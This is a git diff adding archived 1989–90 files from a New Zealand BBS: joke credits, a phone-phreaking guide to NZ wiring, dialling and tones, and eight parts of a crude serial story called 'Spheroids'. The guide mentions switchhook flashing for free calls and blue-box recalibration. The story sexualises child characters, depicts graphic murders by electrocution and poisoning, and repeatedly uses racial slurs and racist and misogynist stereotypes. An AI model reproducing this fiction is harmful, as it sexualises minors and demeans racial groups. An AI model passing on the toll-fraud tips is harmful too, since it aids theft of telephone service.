+ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +Verily (even), it came to pass that whilst the peasants were +loath to go, they were forced to leave the paradise known +as the Banana Republic..... + +And lo, they did yearn to return and verily unto the 8th +generation they did yearn to return.... + +For only the Banana Republic, has the extra 20% more +value for money triple strength concentrated power. + +[The gospel according to El Prez] 13:69 + diff --git a/textfiles.com/groups/BANANAREPUBLIC/logoff.005 b/textfiles.com/groups/BANANAREPUBLIC/logoff.005 new file mode 100644 index 00000000..80edb607 --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/logoff.005 @@ -0,0 +1,137 @@ + + The Banana Republic BBS, a product of + EL PRESIDENTE PRODUCTIONS + + + Executive Producer + EL PRESIDENTE + + Producers + EL PRESIDENTE + BARRI + + Director + EL PRESIDENTE + + Chief S.L.B. + HECATE + + Associate S.L.B. + HECATE + + Director of Photography + BARRI + + Camera Man + IAN + + Camera Man's Number One Assistant + BLACK ADDER + + Lighting + TRILLION + + Composer + SAPPHIRE + + Music Consultant + KNOBBY Mc KNOBBY + + Script Writers + BARRI + BOB + DAVE + SALLY + + Guest Writers + ICEMAN + ALIEN + BAT BASTARD + + Chief Writer of El Presidente's Insults + PAPA SMURF + + Executive in Charge of File of Transfers + CHOCOLATE FISH + + Abusive Bastard + MIKE + + Chief Grip + - Currently Vacant - + + Pyrotechnician + HERR FLICK + + Stunts + KAMAKOZA + + Chief Of Police + TRILLION + + Best Boy + - Currently Vacant - + + Official Bat + BAT BASTARD + + Official Bastard + BAT BASTARD + + Executive Deagenerate + HERR FLICK + + Chief Supplier of Quality + ICEMAN + + Poet Laureat + ALIEN + + Executives in Charge of Procurement + PAPA SMURF + + Associate Drinking Companion + KNOBBY McKNOBBY + POLO MAN + + Chief Amiga Importer + PHARLAP JOHNSON + + Chief IBM Cracker + BLACK ADDER + + Re-Work Technician + BROOM HANDLE + + Mac in Trash Court Jester + MACK THE KNIFE + + Beastie in the BASEMENT + JEHRECK CARNELIAN + + El Presidente's Industrial Spy + CLASSIC DRY + + Telecommunications Technical Consultants + THE BINGE BROTHER'S INC. + Being Chiefly: + BARRY + KARL + GRANT + + Post Production Sexual Deviant + EL PRESIDENTE + + El Presidente's Wardrobe by: + DOYLE'S ARMY SURPLUS + + Barri's Wardrobe by: + BONITA + + + "Sit Ubu, Sit....Good Banana" + + + (C) 1990 El Presidente Productions + All Rights Reserved + diff --git a/textfiles.com/groups/BANANAREPUBLIC/nzfones.txt b/textfiles.com/groups/BANANAREPUBLIC/nzfones.txt new file mode 100644 index 00000000..bca5ccb6 --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/nzfones.txt @@ -0,0 +1,183 @@ +File : NZFONES.TXT +Author : The Defecator +BBS : The Banana Republic BBS + +24/01/89 + _____________________________________________________________ + + PHREAKING IN NZ -- by The Defecator + + A Banana Republic Production complete with piped-in music + Update 0.9 -- Not for general distribution! + _____________________________________________________________ + + + + INTRODUCTION + +There are many files floating around the place informing you on the various +aspects of the fone system and other assorted activities. Unfortunately, +most of these files are from the US and consequently a few of the details +given only apply to the US fone system. This document intends to provide +some details on the NZ fone system. Please note that this file is for +informative purposes only, and since it is only version 0.9 there may be some +incorrect information! + + + + WIRING + +NZ uses the same plugs and jacks as British Telecom uses. The jacks are +known as BT jacks. These support 6-wire wiring systems. The wires are +designated as follows: + + + Wire Colour Purpose + + 1 Orange Unused + 2 Red B-leg + 3 Blue Anti-Tinkle + 4 Green Ground + 5 White A-leg + 6 Black Unused + + +These numbers are with respect to the terminals inside a BT jack. On a BT +plug, however, the numbering is reversed. + +On the US fone system, the two important wires are known as the tip and ring, +coloured green and red respectively. These are the wires that come from the +exchange. The equivalent wires for the BT system are the A-leg and B-leg, +coloured white and red respectively. To remember which is which, just note +that the red wires are the same for both fone systems. For each line there is +what is called a "master socket". There is only one per line and the purpose +of this is to generate the anti-tinkle wire (green). The ground wire is not +normally used. + + + + VOLTAGES & RINGING + +When your fone is hung up, there is about 60V or so potential across the A-leg +and B-leg. When you lift up the fone, this drops to about 12V. This is +similar to the US system but knowing Telecom the voltages will vary a lot +from place to place. The ringing frequency from exchanges applies may be +either 25Hz or 16.67Hz, according to Telecom. + + + + PULSE DIALLING + +This is the dialling method used on old rotary fones. US fones use different +numbers of pulses than NZ fones. US fones use 1 pulse to dial 1, 2 pulses +to dial 2, etc. plus 10 pulses to dial 0. For NZ fones, the number of pulses +for digits 1-9 are reversed, as shown: + + + Digit: 0 1 2 3 4 5 6 7 8 9 + + # Pulses (US): 10 1 2 3 4 5 6 7 8 9 + # Pulses (NZ): 10 9 8 7 6 5 4 3 2 1 + + +A pulse is generated by cutting the line for a very short time. Pulse +dialling in NZ requires 9-11 pulses per second, and a gap of more than 750ms +but not less than 1.5 seconds between digits (this is according to Telecom, +so you could probably push these figures a bit). + +Some files mention flashing switchhooks to get around locked fones. This is +fairly well-known and is commonly used on fortress fones around NZ to obtain +free fone calls, but remember that the pulses are reversed, and dialing 0 +won't get you to an operator unless you are connected to an old exchange +that doesn't have STD facilities. + + + + DTMF (DUAL-TONE MULTI-FREQUENCY) DIALLING + +This is the dialling method used on the newer pushbutton (touch-tone) fones. +For each digit dialled, the fone transmits two tones of different frequencies +simultaneously. Both the US and NZ fone system have this in common, and in +fact use the same tones. The following table shows the two frequencies +required for each signal: + + + 1209 Hz 1336 Hz 1477 Hz 1633 Hz + + 697 Hz 1 2 3 A + + 770 Hz 4 5 6 B + + 852 Hz 7 8 9 C + + 941 Hz * 0 # D + + +So in order to dial 6 you need to transmit tones of 770Hz and 1477Hz simul- +taneously. As you should know, NZ fones have digits 0-9 plus the * and +# keys, but do not have the A-D keys. + +According to Telecom, each signal has to be at least 70ms (milliseconds) +long, and the gap between each digit must be at least 70ms. The frequencies +must be within +/- 1.5% of the given value. Again, these are Telecom's +figures which are normally conservative so you could probably push 60ms at +times. + + + + OTHER STUFF + +There are many other tones used on exchanges for various purposes. In +general, Telecom doesn't like people to transmit frequencies outside the +range 300Hz - 3400Hz onto the fone system. Telecom apparently transmits +various tones outside normal audio range on fone lines "from time to time". + +Within the 300 - 3400Hz range, there are a few "supervisory" tones Telecom +use for various purposes. They are provided for your information here: + + + Dial tone: 400Hz continuous + Busy tone: 400Hz interrupted + # unobtainable: 400Hz interrupted + Ringing tone: 400Hz+450Hz or 400Hz + Disconnect tone: 400Hz or 900Hz interrupt unbalanced + AC1 signalling: 600Hz, 750Hz + AC2 signalling: 2280Hz + + +The first five tones are normally encountered on the NZ system. The dial +tone is the most common, and the busy tone and ringing tones should be +familiar to all. The # unobtainable tones is the signal you hear when the +number you have dialed does not exist, has been disconnected or is otherwise +unobtainable. The sound can be described as four short bips repeated: +bip-bip-bip-bip...bip-bip-bip-bip...bip-bip-bip-bip...etc. The disconnect +tone is somewhat rarer, but you hear it when the an exchange is overloaded +and the system has disconnected you. It sounds similar to the busy tone. + +The last two tones, as I understand it, are present on the line to tell what +state it is in: AC1 if the line is in use, and AC2 when it is free. When +you are using a line, AC1 is present, but you can't hear it due to filters +at the exchanges, but it is nevertheless there and Telecom can tell it's +there. + +Another frequency, commonly mentioned in US files, is 2600Hz. As far as I +know, this tone does nothing in the NZ fone system and the equivalent tone +is 2280Hz. Also another set of tones known as the inter-office signalling +tones appear, normally along with 2600Hz (these DTMF tones are made up from +700Hz, 900Hz, 1100Hz, 1300Hz, 1500Hz and 1700Hz). Because the override tone +is different for the NZ system, the inter-office signalling tones could quite +easily be different as well, in which case US blue boxes are useless in the +NZ fone system and would have to be recalibrated. This file will be updated +as new information comes to light, so watch out for updates! + +Finally, Telecom doesn't like frequencies in the range 2250 - 2700Hz on +international calls (note that this range includes the US's 2600Hz). So +feel free to experiment with these tones. + +------------------------------------------------------------------------------- +AUTHOR: The Defecator +------------------------------------------------------------------------------- +Brought to the WORLD by The Banana Republic BBS, Auckland, New Zealand. +------------------------------------------------------------------------------- + + \ No newline at end of file diff --git a/textfiles.com/groups/BANANAREPUBLIC/sph-1.txt b/textfiles.com/groups/BANANAREPUBLIC/sph-1.txt new file mode 100644 index 00000000..c822e0c5 --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/sph-1.txt @@ -0,0 +1,49 @@ + +File : SPH1.TXT +Author : Bat Bastard +BBS : The Banana Republic BBS + + + SPHEROIDS, PART 1 + +Once upon a time ther were 3 little sisters, called Lacey, Tilly & Benard. One fine day when mummy was hanging out the washing (on the Siegfried line), +Lacy said to tilly. "Lets Murder Mummy and Bernard, and have the family +fortune all to ourselves!" (there was no Daddy for mummy was a 18 yrold +slag-bag on the DPB). "I know, said Tilly, ","since Bernard is a mongoloid +with more toes than IQ points, and may be the product of an unnatural coupling +between mummy and an obscure breed of dog , we'll kill her first". Lacy +agreed, and thereby became guilkty of complacency in a homicide. Tilly waited +until mummy was stoned on DB ,in front of "Neighbours", and went to Bernards +room. Bernard gurgled in imbicilic recognition. This was Tilly. Tilly was her +friend. "hello Bernard" said Tilly. Bernard slobbered. "today we're going to +play a new game, called, 'ORIFICE", Bernard. Do you know orifice?" . Moronic +incomphrehension. + "It's very simple reall, " continued tilly,"I give you this er,...implement", +said Tilly searching for the right word, and pulling out mummies vibrator +from behind her grimmy hindquaters,"and you stick it up as many of +your bodily orifices as you can in a given time, say 30 seconds" said Tilly , +glancing at the rolex which dangled penulusly about her young wrist, the rolex +she'd been given by that nice man in the park who sometimes gave her sweeties( +the man was ,in fact, the head of the child abuse division of soial welfare, a +man who believed in having things in common with his clients). Bernard +frothed. "here you dumb fuck" cried Tilly, thrusting the vibrator into her +sistrs grasping hands. Bernard grabbed the vibrator, sniffed it cautiously. By +one of those strange quirks of fate by which history is strung together, Mummy +had been indulging in a little S&M , with the man from the social welfare ( +who was believed that therapy involved the whole family), and the +vibrator was covered in peanut butter! Yum Yum1 bernard liked peant butter! +Tilly too saw the peanut butter " this guys spreading himself a bit thin, " +she thought, in a flash of byronic humor that laid to rest all frueds theories +of social evolution. Bernard sucked the vibrator. Hee Hee, giggled Tilly. +Fizzle Pop, countered Bernard, for Tilly had removed the earth wire (you know, +the green one) from the vibrator, and replaced it with 3-PHASE 440 V(rms) +mains. More than usual, this toy was live........ +...... +**** TO BE CONTINUED******** + +------------------------------------------------------------------------------- +AUTHOR : Bat Bastard +------------------------------------------------------------------------------- +Brought to the WORLD by The Banana Republic BBS +------------------------------------------------------------------------------- + diff --git a/textfiles.com/groups/BANANAREPUBLIC/sph-2.txt b/textfiles.com/groups/BANANAREPUBLIC/sph-2.txt new file mode 100644 index 00000000..a024d74c --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/sph-2.txt @@ -0,0 +1,39 @@ + +File : SPH2.TXT +Author : Bat Bastard +BBS : The Banana Republic BBS + + SPHEROIDS , PART 2 THE ADVENTURE CONTINUES. +. + Resisting an almost overwhelming temptation to induldge in a little +necrophilia, Tilly made good her escape. This cannot be sais for the man from +social welfare , who happened upon the charred corpse several hours later. +He gave the body a suriptitios squeeze, before disappearing into the night. +wheeeeeee.......... +SPLAT! +(night falls) +Creeeeeeeeaaaaaak! +SNAP! +(dawn breaks) +Next morning, when mummy had left for the department of social welfare, Tilly +went to Lacy's room "Success" she chortled ."now its YOUR turn Lacy, you must +kill mummy!", so that the family fortune will be ours1 Lacy gulped . Like the +queen of hearts, she believed on doing at least 6 impossible things before +More: top, onstop, < ENTER > to continue? breakfast, but she hadn't figured on murder. However Lacy knew that Tilly +suffered from severe bouts of penis evnvy, so she figured shed better do as +she was told. But how to kill mummy? Slam! Lacys thoughts we interuppted by +the door slamming ,signalling Mimmys return. Lacy noticed thet Mummy +was carrying a marmite jar. "Oh No, mummy, she said. you've been at that +nasty Peter Sinclairs house again." "shut up, slag-child" said mummy. "he may +be a raving bender, but with the money he pays, buggers can't be choosers "( +(c) 1939 W.Churchill".) Lacy continued to ponder her task.......... +****TO BE CONTINUED********** +don't forget the read the next exciting episode of...... +...... SPHEROIDS!!!!!!! + +------------------------------------------------------------------------------- +AUTHOR : Bat Bastard +------------------------------------------------------------------------------- +Brought to the WORLD by The Banana Republic BBS +------------------------------------------------------------------------------- + diff --git a/textfiles.com/groups/BANANAREPUBLIC/sph-3.txt b/textfiles.com/groups/BANANAREPUBLIC/sph-3.txt new file mode 100644 index 00000000..e2c33b1d --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/sph-3.txt @@ -0,0 +1,54 @@ + +File : SPH3.TXT +Author : Bat Bastard +BBS : The Banana Republic BBS + + +About lunhtime, Lacey's thoughts turned to rice risotto. From she had heard +, rice risotto was blow the backside off a concrete elephant, so it should +suffice to do away with mummy. "But how do I get some Rice Risotto?", +she whined."How do you get blotto?" erplied Tilly. "simple. Mix 3/4 of a +bottle of Jeyes fluid with a quart of turps. and quaff. And make sure you stay +downwind of me." "RICE RISOTTO!" squeaked Lacy. "Oh, that, " said Tilly +"Killying someone , are you... o! of course, mater dearest.Well.....you'll +have to steal it of course" Sometime Tilly wondered who wore the trousers in +this family. + Lacy made her way to the local shops. She stopped at the door. "Singhs +greengrocery and meditation emporium" Looked promising. "Have you any Rice +Risotoo?" she asked the swarthy looking gentleman at the counter, a man +who, if the truth were to be known, used a thesaurus when oing crossword +puzzles. "Ah, want to kill some one do you ?" replied the man, with a grin +that would shame a appliance shop."No, he continue, but I got something +better, its a new product line I'm trialling for Johnson & Johnson. Its called +"Special, guarenteed to kill an elephant stone dead, true John, would I tell a +lie to you, I mean this stuff is lethal, letahl/ Its so lethal it killed 6 men +before we packaged it Rat poison'" +'What, ' queried Lacy "Special, guarenteed to kill an elephant stone +dead,lethal,lethal? its so lethal if killed 5 men before we packaged it rat +poison.?" No, replied the man (who, Lacy noticed, had a perculiar species of +fungus growing between his toes. She considerd calling David Attenborough, but +thought the better of it)"Special guarenteed to kill an elephant stone dead, +true John, would I tella lie to you.Lethal, lethal?its so lethal it killed 6 +men befor we packaged it rat poison". +"I'll take it'" said lacy, with visions of swastikas in her eyes. +"that'll be $3.50" said the man, who was begining to doubt the moral validity +of the freemarket economy, and would, that afternoon, sell all his worldly +chattels in an ttempt to follow his dream, to find the source of that +sacred torrent, the leak in his upstairs bathroom. +"Bugger of chocolate drop' Said Lacy, (who was a victim of overexposure to +Scwartzenegger movies), and with a swift knee in the mans groin, she +contraceptives, so it just goes to show, you should count you receive +blessings like Jesus told us, not to mention ypour testies after starnge +little girls have been in your shopk) , grabbed the aforementioned rat +poison, and dashed intothe waiting world.... +******TO BE CONTINUED***** +don't miss thenext exciting episode of ....... +SPHEROIDS, a tale for those with balls (and tits too for this is a non-sexist +BBS) + +------------------------------------------------------------------------------- +AUTHOR : Bat Bastard +------------------------------------------------------------------------------- +Brought to the WORLD by The Banana Republic BBS +------------------------------------------------------------------------------- + diff --git a/textfiles.com/groups/BANANAREPUBLIC/sph-4.txt b/textfiles.com/groups/BANANAREPUBLIC/sph-4.txt new file mode 100644 index 00000000..476355c3 --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/sph-4.txt @@ -0,0 +1,55 @@ + +File : SPH-4.TXT +Author : Bat Bastard +BBS : The Banana Republic BBS + + +SPHEROIDS PART 4, MORE THAN YOU EXPECTED TO SEE, MORE THAN YOU EXPECTED TO FEEL + (see sph-4.txt for eps 1 to 3) + + Lacy ran and ran and ran. When she was sure no-one was following her, she +headed for home. On the way she noticed a dead bird lying in the gutter. "Hello +bird!" said Lacy. "kwarkle oogle argle ogle" sqwarked the bird. "You smell of +mists of mellow fruitfullness" continued Lacy looking at its putrifying carcase. + "Bog Off." said the bird, so she stomped on its head. When Lacy got home, she +noticed a large unruly crowd,outside her neighbours house. The attention +appeared to be centred on a large, white van with the words "NOISE ABBAITMENT" +stencilled on the side . Stange noises came from the house."Crrrooooinqqqq!" +"qwadddDDDannngg!". Obviously that nice young ethnic gentleman was playing thae +blend of african rythmn and white synchopation that he found appealling to his +cultural identity. He began to speak (well, yell, actually, for at this moment, +the music reached a particularly strident chord, and the mna from noise +abaitment appeared to be donning a flak jacket) "......THEN I SEE, A NIGGER +THAT I DON'T LIKE..." heard Lacy,"......I'M THE KIND OF NIGGER THATS BUILT TO +LAST..." He was obviously recounting anacdotes to his chums "... FUCK WITH ME +I'LL PUT MY FOOT IN YOUR ASS..." ,Really, thought Lacy, that young of man +african descent obviously had an outlook problem. + Stepping between the man from the salvation army, and the ready-reaction +force, Lacy entered her home. "Hello Tilly !", she saluted her sister. +"Got the Risotoo?" hissed Tilly. "Better" said Lacy,displaying the +aforementioned poison. "Good" snapped Tilly, "now, do your stuff".Tilly retired +toher room to listen to a record of one of the best talents of 'New-Wave' music +to come out of Britain in the late seventies. Lacy mixed the poison with her +mothers midday meal, a 'big-serve' can of DB. Wearing a smirk akin to that worn +by a mormon on a moped, entered the lounge with her mothers lunch on an +upsidedown chinese-checkers board (the closest they had to a silver tray). +Mummy had a 'Trick' so she made herself scarce. + Mummy and Co had the radio on in the background (91FM , since thier +collective IQ didn't reach double figures). "It has been revealed today" +crackled the announcer "that a new brand of rat poison has been released on the +market , a brand wholley harmless to humans.It is called ....." +"Snorffff!" Said mummy,quaffing deeply to fortify herself for the nuptials +to come . +"However, tests on lab humans have revealed that in combination with DB, this +poison is lethal..." +"Harwkkhh-Froth-froth-swgidggle" said mummy +"Synchronicity....." Warbled Gordon. + +------------------------------------------------------------------------------- +AUTHOR : Bat Bastard +------------------------------------------------------------------------------- +Brought to the WORLD by The Banana Republic BBS +------------------------------------------------------------------------------- + + + diff --git a/textfiles.com/groups/BANANAREPUBLIC/sph-5.txt b/textfiles.com/groups/BANANAREPUBLIC/sph-5.txt new file mode 100644 index 00000000..36ca8cea --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/sph-5.txt @@ -0,0 +1,62 @@ + +File : SPH-5.TXT +Author : Bat Bastard +BBS : The Banana Republic BBS + + + SPHEROIDS, PART 5 +IN SUBURBIA, NO-ONE CAN HERE YOU VOMIT + + The morning after the night before. A resounding knock on the door woke Lacy +and Tilly from their respective slumbers.Shaking off the empty beer cans, and +evicying a large symbiotic colony of lice from her hair with the fire brush, +Lacy made her way to the door.She opened it. "Bugger off !, we're C of E" was +her opening gambit. "My dear young lady, " began the man who had ,had he known +it, cut short a steamy slumbertime encounter between Lacy, and the cat from +Postman Pat (the black and white one), in the land of nod.(actually, Lacy's TV +was itself black and white, and Lacy had always imagine Postman Pat's cat to be +a beguileing shade of vermillion, for such are the perils of living in a post +industrial society) "I am the undertaker", he continued ,smoothing down a +wayward lick of hair on his balding, yet dandruffed pate, in an attempt to aid +his sluggish cogitative proces's." I am here, if you will pardon the +expression, to 'measure your stiffy'" +"youed better come through, then"said Lacy, directing him arround the pool of +vomit, and into what passed for the kitchen. "Who's that?" Bellowed Tilly, from +her boudoir, the hot water closet. "The undertaker!" replied Lacy, in tones +that caused caused a standing wave to be set up, and shatter the only clean +glass in the house before they died away.(this however , was no loss as it had +become lodged underneath the skirting board in the masterbedroom ,when thrown +there many years before , by a client of mummies, after she had stolen his +false teeth, and it had since become a urinal for inconvienienced vermin) +" The undertaker?" replied Tilly "I say, has anyone made the stiffy joke yet?" + "Quit the alternative humor, and come down here and help me open the freezer" +yelled Lacy. Tilly complied (and thus became guilty of complacency after the +event) and between them, the soon had the freezer open. "There you go!" cryed +Tilly, triumphant, pushing aside several six pax, to reveal the cadaver of her +mother. "She'd begun to smell a bit " She offered , by way of explaination, +"(well more than usual , anyway), so we popped her in with the six pax. She +would of liked it that way. Now, which is cheapest, burial, cremation, or +mulching her up as compost?" +"Well," began the undertaker, as he looked to heavan, the kind of look Tammy +Baker assumed, when explaining her millions , " the compost option is very +popular today, and so.... so...." +"Composed?" offered Tilly +"Decomposed!" ejaculated the undertaker , with the light of certainty in his +eye. " and whats more, you get 50 cents a kilo . I'll be round at lunchtime" +As he made good his exit, a neutrino passed into Tilly's skull, annihlateng +itself within her frontal lobe, and sparking a strange thought...... + TO BE CONTINUED ! + + ! ! + !!! ! ! !!! + +------------------------------------------------------------------------------- +AUTHOR : Bat Bastard +------------------------------------------------------------------------------- +Brought to the WORLD by The Banana Republic BBS +------------------------------------------------------------------------------- + + + + + diff --git a/textfiles.com/groups/BANANAREPUBLIC/sph-6.txt b/textfiles.com/groups/BANANAREPUBLIC/sph-6.txt new file mode 100644 index 00000000..a6df6454 --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/sph-6.txt @@ -0,0 +1,65 @@ + +File : SPH-6.TXT +Author : Bat Bastard +BBS : The Banana Republic BBS + + + SPHEROIDS PART VI + INTERLUDE: + + The neutrino generated thought fought it's way through Tilly's cerebral +cortex, colliding onthe way with a requast from her bladder for a trip to the +lavatory, and a subconcious desire to 'have' the paper boy, and emerged +(almost) unscathed, in the her left lobe. "Of course!" she said to her self, +marveling at her own mental prowess, "TV time!". She went back into the lounge, +to view her favourite televisual entertainment. Her luck held, and mummy hadn't +pawned the TV (before her unfortunate demise) "Pawn...Porn...." mused Tilly, +the vaugest glimmerings of a pun shimmering at the edge of conciousness (She +really was in tip-top form today) , but the effort was to much, so she turned +on the TV ( The TV had been 'liberated' from a queen street store by Mummy, a +year or three back, during the so-called "Queen Street riot". She (mummy) had +taken exception to Dave Dobyns artistic interpretation of the old beatles +number 'Happiness is a warm Bum', and had responded by flinging a ( +regrettabbly full) can of beer at him. She missed hit a policeman, who blamed +the "unruly minority" and attempted a mass arrest... And that's how it +happened, kids!) + The TV blared with a Plasti-pop theme, familiar to the entire nation. The +picture came into focus, forming the title "El Prez Prezzents....." + As Tilly scanned the floor for an place free of beer cans, where she could +sit, She pondered upon the strange career of this multy-media personality, +this, this mysterious fellow known only as 'El Prez' , or LP, as the popular +press dubbed him. He had first come to the for half a decade or less ago, when +he had been prosecuted for stamp forgery . He dazzled the Court with his wit, +saying that the Post office should be grateful because 'Imitation is the +sincerest form of philately', and was aquitted when the prosecutions chief +witness slipped on a banana skin before testifying, and lost the use of his +limbs ( and mouth, and body). He made his fortune , when the government sold +off radio and TV frequencies. He claimed ( succesfully , after another law +suit) that if the goverment could sell off the radio regiom of the +electromagnetic spectrum, then he could purchase part of the visual region. +With the damages awarded to him, he purcased the colour green, and made a +fortune on the royalties payable to him by any person who 'saw , used or in +and other way observed' this colour. By this stage he had become a cult hero, +and, cashing in on his popularity, release an album, 'The LP LP', which was +enormously popular. He toured the world with a backing band ( and an old black +person , who everyone thought was dead, for some (little needed ) street +cred)) and cleaned up. His follow up single "Twelve inches of El Prez" had the +good fortune to be prosecuted for obscenety ( successfully, LP made sure), and +his future was assured. He now hosted a weekly variety show, just so as to keep +in the publis eye, whilst he dreamt up his next scheme. 'Whose on this week?' +thought Tilly, hoping was it 'Sickee Wifebeater', her favourite muso singing +'Speak English or Die'. No such luck . He appeared to be singing a duet + with that fellow who was on 'Mr Twirly' when mummy died, whilst the remants + of Shriekback sang backing, in a last ditch bid for popularity, before they +succumbed to the forces of mammon (i.e Stock Atkien Waterman). +His favourite colour was yellow. +'Boring' thought Tilly. before she could reach for the off switch, there was a +bang, the like of which you hear when someone lights a match in a backed bean +testing factory..... + +------------------------------------------------------------------------------- +AUTHOR : Bat Bastard +------------------------------------------------------------------------------- +Brought to the WORLD by The Banana Republic BBS +------------------------------------------------------------------------------- + diff --git a/textfiles.com/groups/BANANAREPUBLIC/sph-7.txt b/textfiles.com/groups/BANANAREPUBLIC/sph-7.txt new file mode 100644 index 00000000..842ce0d9 --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/sph-7.txt @@ -0,0 +1,56 @@ + +File : SPH-7.TXT +Author : Bat Bastard +BBS : The Banana Republic BBS + + + SPHEROIDS, episode 7 + +The battle is o'er the struggle done + + + Tilly ran to the window to see what all the commotion was. On the street, +she espied the bleeding corpse of a dead police constable. "How unfortunate" +thought Tilly, with the insufferable indignation of the rightesous. "My young +ethnic neighbour (what was his name ?, Nelson Warwick Abbatoir, or something) +was obviously trying out his new birthday present. But who would clean up the +mess?", To avoid thinking about this, (or performing any other unpleasanrt +tasks, such as asking Lacy for her share of the rent ) Tilly went to sleep for +the next 3 days. + Some Tilly was woken by Lacy, or more correctly, she was woken by an +electric egg-whisk, weilded by Lacy. " Come, old fiend, the grimes out front" +misquoted Lacy (who suffered from occasional delusions of literacy, though, she +was (as Tilly pointed out), better at cunnilingus, than a cunning linguist), + refering to the maternal cadaver, which was, at this very moment, perched in + the back seat of a black (or dirty , it was hard to tell which) mark 1 Escort, + which served as the Herse, on the few occasions that "Wayne Kerr, Undertaker +and Drain unblocker " had a client. +Next thing Tilly Knew ,she was clinging desperateally to her +mothers corperal remains, to prevent further damage, caused as the undertaker +negoitated corners at high speed (or any speed , come to think of it). + "Where's the funeral?" inquired Tilly, hoping for a suriptitious swig of +some embalming fluids. "The Baling station" Came the reply. "50 cents a kilo, +and if your lucky, some of the bottles in the bottle bank have some dregs +still remaining". And so it can to pass. Mummie's body (Bernard had been +dropped in the pattied frier at McDonalds, but no-one noticed) was inserted in +a Kleen-sak (tm) , and given pride of place on the conveyor belt, headed toward +the mulcher. Tilly's eyes brimmed with tears. Lacy sniffed, attempting to dry +her's on a discarded kleenex (tm).Ever the hardened undertaker, veteran of many +a wake, (usually with a hangover), was not entirely dehydrated, optic-wise. +"For Christ's sake, Lacy", berated Tilly "Stop swigging that bloody Ammonia" +Before Lacy could compose a suitably lavatorial reply, there came a shreik from +the mulching shed. "HEEEEEIIIIIGHHHHHHH!!!!!!". The operator had just observed +Mummies maggot-bloated corpse, wending it's way through the mulcher, and was +now in desperate need of a repository for his vomit. He stormed down the ladder +from his cab, scattering people and garbage behind him. "Oh well," mused Tilly +, philosophically, as the trio made themselves scarce, "At least now I know why +it's caled a wake!"....... + TO BE CONTINUED!!!!!!! + +------------------------------------------------------------------------------- +AUTHOR : Bat Bastard +------------------------------------------------------------------------------- +Brought to the WORLD by The Banana Republic BBS +------------------------------------------------------------------------------- + + diff --git a/textfiles.com/groups/BANANAREPUBLIC/sph-8.txt b/textfiles.com/groups/BANANAREPUBLIC/sph-8.txt new file mode 100644 index 00000000..33ae6d57 --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/sph-8.txt @@ -0,0 +1,87 @@ + +File : SPH-8.TXT +Author : Bat Bastard +BBS : The Banana Republic BBS + + + SPHEROIDS, part 8 + Slings and Arrows... + + Lacy, Tilly , and the Undertaker scrambled into the Escort, and made +velocitous thier extramuralisation.The undertaker semmed to be plying for +trade, for he madehis lack of abilties as an overtaker very plain. "For shit's +sake!" cried Tilly, from the floor of the car, her voice muffled by the bin- +liner that had been pressed into service as a funeral shroud,"don't let me die! +I'm to beautiful to die". Lacy decided to let this pass(as did the vehicle in +the other lane) "Bitchen, man" was her sole contribution to the conversation. +The undertaker halted outside Lacy and Tilly's abode, and they alighted, +, bid insincere farwells, and staggered inside, mentally questioning the values +of a society that premitted such behaviour in one so old, unwashed, and unversed +in the verse's of Mojo Nixion. Barely had they entered, when someone began a +percussion solo on the foremost portal.Lacy went to investigate,thinking +thoughts of Thoth, and other violent deities. "Yarrss?" , she enquired, in her +best Susan Renouf.Upon espying thevisitor, she saw that it was her neighbour, +that ethnic gentleman ,En Double U something, prostarate in an attitude of +supplication, bearing an unwashed teacup in the manner that Lacy always +imagined tributes were presented to ancient Rome . "May I borrow a cup of +sugar?" he begged, trying to look as little a possible as a man who claimed to +go through women as other men go through clean socks. "And who was the honkey +in the Rad wheels's?" he asked, overcome by twin urges, for knowledge, and for a +diploma in sixties jive talk. "Oh, just a suitor" replied Lacy, coyly, in the +manner she had seen someone do on 'Gloss' the previous night but three. Lacy +lived in a fantasy world. "Yeah? Whatchadoo?" demaned the fellow on the +doorstep. "oh just a little hearsing and swearing", replid Lacy, slamming the +door in his face, for she felt the situation had outlived its usefulness as a +showcase for her wit and impersonations. + She returned to the lounge, carefully insinuating her way through discarded +junk food wrappers and beer cans."What to do?" she mused to herself. Lacy was a +girl who lead a life of watertight compartments. Last week was for killing her +relatives.This morning was for the funeral. Tomorrow was for starting the search +for the lost riches of Mummy. How, then, to spent the remainer of the day? Lacy +wandered about the house.She turned on the television.An image of LP +appeared,and began to speak."Mundane" thoght Lacy, changing the +channel.obviously Lp was trying to defend his media-mashing stance of describing +Arch Bishop Tutu as "Nigger with a Platitude".Leaving the television for a +moment, she drifted tothe bookshelf, and surveyed the stock of pornographic +literature therein.She picked a title at random. "The Karma Sutra guide to Fun +Sex,limp edition".However, the book was colour-coded by the new literacy counicl, + (whose policy to combat illiteracy seemed to be to reduce the vocabulary + permissible in books, as a cheaper alternative to teaching people. Lacy +herself had baulked at this scheme, whaen she came acros the L.C complete +dictionary, a lexograph in 200 pages), not to contain any words above 3 +sylablls,so she returned it to the shelf. She glanced at a newspaper,(the +misnamed 'TRUTH' which, by the policies of the L.C now had the hightset +target-age readership, especially page 3) , open at the entertainment section. +"SCHWATRTEZNEGGER SEASON !" announced one cinema."Now showing...." +"Commando....Raw Deal.." read Lacy,"hmmm, seen them" ,"Red Heat..Running +man..Twins..Triplets..Quadruplets...." and the sequel to Aliens, "Millions of +the buggers!".Lacy turned the page. " Terminator...Predator...","Ah, the +latest!","EXECUTOR!" screamed the blurb, "in which Arine murders 36 racial +stereotypes, in a variety of interesting and inventive methods, only to +discover that he has been appointed to distribute the estates of thier +collective, complex wills!". Lacy couldn't abide courtroom dramas, so she turn +ack to the televison,now displaying the co-star (and chief baddy) of the +afforementioned "MOTB!"."Well.." began Kylie, who had taken up a career as an +interviewer, after her sordid fall from grace, involving a rotary hoe +"I admire your purity..Not clouded by delusions of morality, a bit like Sir Joh, + really!"Alien snapped his gigantic double mandibles together, 